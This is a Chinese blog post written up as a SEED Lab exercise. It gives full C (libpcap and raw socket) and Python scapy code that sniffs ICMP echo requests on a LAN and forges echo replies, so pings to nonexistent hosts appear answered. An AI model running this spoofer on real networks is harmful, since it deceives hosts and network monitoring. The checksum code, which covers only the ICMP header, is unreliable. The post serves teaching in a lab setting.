Linux下的 sniff-andthen-spoof程序编写

2021/11/6 7:11:39

本文主要是介绍Linux下的 sniff-andthen-spoof程序编写,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

Linux下的 sniff-andthen-spoof程序编写

一、任务描述

在本任务中,您将结合嗅探和欺骗技术来实现以下嗅探然后欺骗程序。你需要两台机器在同一个局域网。从机器A ping IP_X,这将生成一个ICMP echo request包。如果主机IP_X存在,ping程序将收到一个echo reply,并打印出响应。您的嗅探然后欺骗程序在攻击者的机器上运行,攻击者通过嗅探包监视LAN。当它看到一个ICMP echo request时,不管目标IP地址是什么,您的程序应该立即使用欺骗技术发送一个echo reply。因此,无论IP_X是否存在,ping程序总是会收到一个答复,表明主机X是在线。您需要用C语言编写这样一个程序,并在报告中包含屏幕截图,以显示您的程序是有效的。请在你的报告中附上代码(有足够数量的注释)。
这其实是SEED Lab的一个实验,可以在官网上找到。 SEED Lab: Packet Sniffing and Spoofing Lab

二、实现思路

ping一个IP地址其实是发送的ICMP Echo request包,所以我们需要先实现一个能抓到同一个局域网的ICMP Echo request包的嗅探程序代码。然后利用抓到的包,进行一定方式的伪造技术,构造一个ICMP echo reply包发送给受害主机,以达到欺骗目的。

1. 嗅探程序代码框架

  • 实现流程
    首先启动pcap监听网卡,其次编译BPF过滤器并设置过滤器,然后设置嗅探的处理函数,最后关闭嗅探器。

需要注意的是:根据BPF规则,我要设定filter的过滤规则。因为要侦测ICMP echo request包,所以设置字段如下:"icmp[icmptype]==icmp-echo"

  • 实现代码如下:
// sniff: capture the pkt
void got_packet(u_char *args, const struct pcap_pkthdr *header, const u_char *packet)
{
  printf("get the pkt");
  //*******************************************************************************
  //implement spoofing code...
}

//主程序
int main()
{
  pcap_t *handle;
  char errbuf[PCAP_ERRBUF_SIZE];
  struct bpf_program fp;
  char filter_exp[] = "icmp[icmptype]==icmp-echo";
  bpf_u_int32 net;

  // Step 1: Open live pcap session on NIC with name eth3.
  // Students need to change "eth3" to the name found on their own
  // machines (using ifconfig). The interface to the 10.9.0.0/24
  // network has a prefix "br-" (if the container setup is used).
  handle = pcap_open_live("br-cbc1af37a44e", BUFSIZ, 1, 1000, errbuf);
  printf("listening on network card, ret: %p...\n", handle);

  // Step 2: Compile filter_exp into BPF psuedo-code
  printf("try to compile filter...\n");
  pcap_compile(handle, &fp, filter_exp, 0, net);
  printf("try to set filter...\n");
  pcap_setfilter(handle, &fp);

  // Step 3: Capture packets
  printf("start to sniff...\n");
  pcap_loop(handle, -1, got_packet, NULL);

  pcap_close(handle);   //Close the handle
  return 0;
}

2. 获得所抓包的相关数据信息

因为我们需要伪造数据包的reply包,所以我们首先要获得request包中的信息,并弄清楚它们。

    // 获得Ethernet、IP、icmp的头信息和payload及其长度信息
    struct ethheader *eth = (struct ethheader *)packet;
    struct ipheader * ip_pkt = (struct ipheader *)(packet + sizeof(struct ethheader)); 
    struct icmpheader *icmp_pkt = (struct icmpheader *)(packet + sizeof(struct ethheader) + sizeof(struct ipheader));  
    const char *data_pkt = (unsigned char *)(packet + sizeof(struct ethheader) + sizeof(struct ipheader) + sizeof(struct icmpheader));
    int data_len = ntohs(ip_pkt->iph_len) - (sizeof(struct ipheader) + sizeof(struct icmpheader));

3. 伪造ICMP echo request包并发送给受害主机

根据协议栈规则,我们需要逐级向下封装数据包,即payload->icmp->ip。最后通过原生套接字编程把伪造IP数据包发送给受害主机。

  • 注意点

    • 伪造这个IP数据包,一定要加上payload数据。我之前没有加上payload,受害主机一直接收不到回复,最后老师告诉我,如果不加上payload,受害主机可能不认伪造的数据包。
    • 一定注意复制payload所用的函数是memcpy()内存拷贝函数。我之前使用的为strncpy()字符串复制函数,但是代码中所获得的payload是一个指向字符串的指针,所以我每次复制给伪造的payload都只有4字节。我花费了大量时间在这,一直找不到原因,害,还是自己的C语言太菜了,连指针与字符数组都搞不清了。
    • ICMP头需要计算checksum,而IP头不用,具体原因我也不知道,如果大佬知道,请指点我一下。
  • 实现代码如下

    /*********************************************************
      Step 1: Fill in the ICMP data field.
    ********************************************************/
    char buffer[1500];
    memset(buffer, 0, 1500); 
    char *data = buffer + sizeof(struct ipheader) + sizeof(struct icmpheader);
    // copy the data_pkt payload to payload
    memcpy(data, data_pkt, data_len);                                   

   /*********************************************************
      Step 2: Fill in the ICMP header.
    ********************************************************/
   struct icmpheader *icmp = (struct icmpheader *)
                             (buffer + sizeof(struct ipheader));
                             
   icmp->icmp_type = 0; //ICMP Type: 8 is request, 0 is reply.
   icmp->icmp_code = 0;
    icmp->icmp_id = icmp_pkt->icmp_id;
    icmp->icmp_seq = icmp_pkt->icmp_seq;
   // Calculate the checksum for integrity
   icmp->icmp_chksum = in_cksum((unsigned short *)icmp, sizeof(struct icmpheader));


   /*********************************************************
      Step 3: Fill in the IP header.
    ********************************************************/
   struct ipheader *ip = (struct ipheader *) buffer;
   ip->iph_ver = 4;
   ip->iph_ihl = 5;
   ip->iph_ttl = 64;
   ip->iph_sourceip.s_addr = ip_pkt->iph_destip.s_addr;
   ip->iph_destip.s_addr = ip_pkt->iph_sourceip.s_addr;
   ip->iph_protocol = IPPROTO_ICMP;
   ip->iph_len = htons(sizeof(struct ipheader) +
                       sizeof(struct icmpheader)+ data_len);
   
   printf("spoofing IP src:%s\n", inet_ntoa(ip->iph_sourceip));
   printf("spoofing IP dst: %s\n", inet_ntoa(ip->iph_destip));
   /*********************************************************
      Step 4: Finally, send the spoofed packet
    ********************************************************/
   struct sockaddr_in dest_info;
    int enable = 1;

    // Step 1: Create a raw network socket.
    int sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
    printf("sock: %d\n",   sock);

    // Step 2: Set socket option.
    setsockopt(sock, IPPROTO_IP, IP_HDRINCL,
                     &enable, sizeof(enable));

    // Step 3: Provide needed information about destination.
    dest_info.sin_family = AF_INET;
    dest_info.sin_addr = ip->iph_destip;

    // Step 4: Send the packet out.
    sendto(sock, ip, ntohs(ip->iph_len), 0,
           (struct sockaddr *)&dest_info, sizeof(dest_info));
    close(sock);

三、程序全部代码

  • myheader.h
/* Ethernet header */
struct ethheader {
    u_char  ether_dhost[6];    /* destination host address */
    u_char  ether_shost[6];    /* source host address */
    u_short ether_type;                     /* IP? ARP? RARP? etc */
};

/* IP Header */
struct ipheader {
  unsigned char      iph_ihl:4, //IP header length
                     iph_ver:4; //IP version
  unsigned char      iph_tos; //Type of service
  unsigned short int iph_len; //IP Packet length (data + header)
  unsigned short int iph_ident; //Identification
  unsigned short int iph_flag:3, //Fragmentation flags
                     iph_offset:13; //Flags offset
  unsigned char      iph_ttl; //Time to Live
  unsigned char      iph_protocol; //Protocol type
  unsigned short int iph_chksum; //IP datagram checksum
  struct  in_addr    iph_sourceip; //Source IP address
  struct  in_addr    iph_destip;   //Destination IP address
};

/* UDP Header */
struct udpheader
{
  u_int16_t udp_sport;           /* source port */
  u_int16_t udp_dport;           /* destination port */
  u_int16_t udp_ulen;            /* udp length */
  u_int16_t udp_sum;             /* udp checksum */
};

/* ICMP Header  */
struct icmpheader {
  unsigned char icmp_type; // ICMP message type
  unsigned char icmp_code; // Error code
  unsigned short int icmp_chksum; //Checksum for ICMP Header and data
  unsigned short int icmp_id;     //Used for identifying request
  unsigned short int icmp_seq;    //Sequence number
};



/* TCP Header */
struct tcpheader {
    u_short tcp_sport;               /* source port */
    u_short tcp_dport;               /* destination port */
    u_int   tcp_seq;                 /* sequence number */
    u_int   tcp_ack;                 /* acknowledgement number */
    u_char  tcp_offx2;               /* data offset, rsvd */
#define TH_OFF(th)      (((th)->tcp_offx2 & 0xf0) >> 4)
    u_char  tcp_flags;
#define TH_FIN  0x01
#define TH_SYN  0x02
#define TH_RST  0x04
#define TH_PUSH 0x08
#define TH_ACK  0x10
#define TH_URG  0x20
#define TH_ECE  0x40
#define TH_CWR  0x80
#define TH_FLAGS        (TH_FIN|TH_SYN|TH_RST|TH_ACK|TH_URG|TH_ECE|TH_CWR)
    u_short tcp_win;                 /* window */
    u_short tcp_sum;                 /* checksum */
    u_short tcp_urp;                 /* urgent pointer */
};

/* Psuedo TCP header */
struct pseudo_tcp
{
        unsigned saddr, daddr;
        unsigned char mbz;
        unsigned char ptcl;
        unsigned short tcpl;
        struct tcpheader tcp;
        char payload[1500];
};
  • sniff-andthen-spoof.c
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#include <pcap.h>

#include "myheader.h"

// ICMP checksum caculation
unsigned short in_cksum (unsigned short *buf, int length)
{
   unsigned short *w = buf;
   int nleft = length;
   int sum = 0;
   unsigned short temp=0;

   /*
    * The algorithm uses a 32 bit accumulator (sum), adds
    * sequential 16 bit words to it, and at the end, folds back all
    * the carry bits from the top 16 bits into the lower 16 bits.
    */
   while (nleft > 1)  {
       sum += *w++;
       nleft -= 2;
   }

   /* treat the odd byte at the end, if any */
   if (nleft == 1) {
        *(u_char *)(&temp) = *(u_char *)w ;
        sum += temp;
   }

   /* add back carry outs from top 16 bits to low 16 bits */
   sum = (sum >> 16) + (sum & 0xffff);  // add hi 16 to low 16
   sum += (sum >> 16);                  // add carry
   return (unsigned short)(~sum);
}

// capture the pkt
void got_packet(u_char *args, const struct pcap_pkthdr *header,
                              const u_char *packet)
{
    // get ethernet, ip, icmp, payload pkt sniffed pkt
    struct ethheader *eth = (struct ethheader *)packet;
    struct ipheader * ip_pkt = (struct ipheader *)(packet + sizeof(struct ethheader)); 
    struct icmpheader *icmp_pkt = (struct icmpheader *)(packet + sizeof(struct ethheader) + sizeof(struct ipheader));  
    const char *data_pkt = (unsigned char *)(packet + sizeof(struct ethheader) + sizeof(struct ipheader) + sizeof(struct icmpheader));
    int data_len = ntohs(ip_pkt->iph_len) - (sizeof(struct ipheader) + sizeof(struct icmpheader));
    
    
    //***************spoofing  the pkt*****************************************
    /*********************************************************
      Step 1: Fill in the ICMP data field.
    ********************************************************/
    char buffer[1500];
    memset(buffer, 0, 1500); 
    char *data = buffer + sizeof(struct ipheader) + sizeof(struct icmpheader);
    // copy the data_pkt to data
    memcpy(data, data_pkt, data_len);
                                      

   /*********************************************************
      Step 2: Fill in the ICMP header.
    ********************************************************/
   struct icmpheader *icmp = (struct icmpheader *)
                             (buffer + sizeof(struct ipheader));
                             
   icmp->icmp_type = 0; //ICMP Type: 8 is request, 0 is reply.
   icmp->icmp_code = 0;
    icmp->icmp_id = icmp_pkt->icmp_id;
    icmp->icmp_seq = icmp_pkt->icmp_seq;
   // Calculate the checksum for integrity
   icmp->icmp_chksum = in_cksum((unsigned short *)icmp, sizeof(struct icmpheader));


   /*********************************************************
      Step 3: Fill in the IP header.
    ********************************************************/
   struct ipheader *ip = (struct ipheader *) buffer;
   ip->iph_ver = 4;
   ip->iph_ihl = 5;
   ip->iph_ttl = 64;
   ip->iph_sourceip.s_addr = ip_pkt->iph_destip.s_addr;
   ip->iph_destip.s_addr = ip_pkt->iph_sourceip.s_addr;
   ip->iph_protocol = IPPROTO_ICMP;
   ip->iph_len = htons(sizeof(struct ipheader) +
                       sizeof(struct icmpheader)+ data_len);
   
   printf("spoofing IP src:%s\n", inet_ntoa(ip->iph_sourceip));
   printf("spoofing IP dst: %s\n", inet_ntoa(ip->iph_destip));

   /*********************************************************
      Step 4: Finally, send the spoofed packet
    ********************************************************/
   struct sockaddr_in dest_info;
    int enable = 1;

    // Step 1: Create a raw network socket.
    int sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
    printf("sock: %d\n",   sock);

    // Step 2: Set socket option.
    setsockopt(sock, IPPROTO_IP, IP_HDRINCL,
                     &enable, sizeof(enable));

    // Step 3: Provide needed information about destination.
    dest_info.sin_family = AF_INET;
    dest_info.sin_addr = ip->iph_destip;

    // Step 4: Send the packet out.
    sendto(sock, ip, ntohs(ip->iph_len), 0,
           (struct sockaddr *)&dest_info, sizeof(dest_info));
    close(sock);
    
    
}

int main()
{
  pcap_t *handle;
  char errbuf[PCAP_ERRBUF_SIZE];
  struct bpf_program fp;
  char filter_exp[] = "icmp[icmptype]==icmp-echo";
  bpf_u_int32 net;

   // Step 1: Open live pcap session on NIC with name eth3.
  // Students need to change "eth3" to the name found on their own
  // machines (using ifconfig). The interface to the 10.9.0.0/24
  // network has a prefix "br-" (if the container setup is used).
  handle = pcap_open_live("br-cbc1af37a44e", BUFSIZ, 1, 1000, errbuf);
  printf("listening on network card, ret: %p...\n", handle);

  // Step 2: Compile filter_exp into BPF psuedo-code
  printf("try to compile filter...\n");
  pcap_compile(handle, &fp, filter_exp, 0, net);
  printf("try to set filter...\n");
  pcap_setfilter(handle, &fp);

  // Step 3: Capture packets
  printf("start to sniff...\n");
  pcap_loop(handle, -1, got_packet, NULL);

  pcap_close(handle);   //Close the handle
  return 0;
}

四、运行结果

结果如下图所示。主机IP为10.9.0.6,向一个网络不存在的IP为1.2.3.4,ping命令,得到了回复。向网络上存在的IP为8.8.8.8,也得到了回复。

五、 补充:python写法

python永远的神,好简单!!!!

#!/usr/bin/python3
from scapy.all import *

def print_pkt(pkt):
    print(pkt[IP].dst,pkt[IP].src)
    send(IP(src=pkt[IP].dst, dst=pkt[IP].src)/ICMP(type="echo-reply", id=pkt[ICMP].id, seq=pkt[ICMP].seq)/Raw(load=pkt[Raw].load))

pkt = sniff(iface='br-cbc1af37a44e', filter="icmp[icmptype]==icmp-echo",prn=print_pkt)


这篇关于Linux下的 sniff-andthen-spoof程序编写的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!


扫一扫关注最新编程教程